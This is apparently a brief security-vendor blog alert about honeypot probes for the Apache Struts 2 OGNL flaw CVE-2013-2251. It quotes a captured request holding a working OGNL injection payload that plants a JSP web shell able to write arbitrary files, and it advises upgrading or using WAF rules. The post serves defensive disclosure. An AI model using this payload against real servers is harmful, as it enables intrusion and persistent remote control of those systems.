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[Honeypot Alert] Probes for Apache Struts 2.X OGNL Vulnerability

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1 Minute Read by Ryan Barnett

Today our web honeypot sensors picked up probes for the recent Apache Struts 2.X OGNL vulnerability (CVE-2013-2251):

222.136.0.151 - - [16/Aug/2013:09:25:21 +0200] "GET /index.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22inback.jsp%22).replaceAll(\"\\\\\\\\\",%20\"/\"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e HTTP/1.1" 404 291 "-" "Sturt2"

Struts users are strongly encouraged to upgrade to v2.3.15.1.

 

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If you are not able to upgrade, you can also use ModSecurity WAF and our commercial SpiderLabs ModSecurity rules as we have added protections to mitigate this issue.

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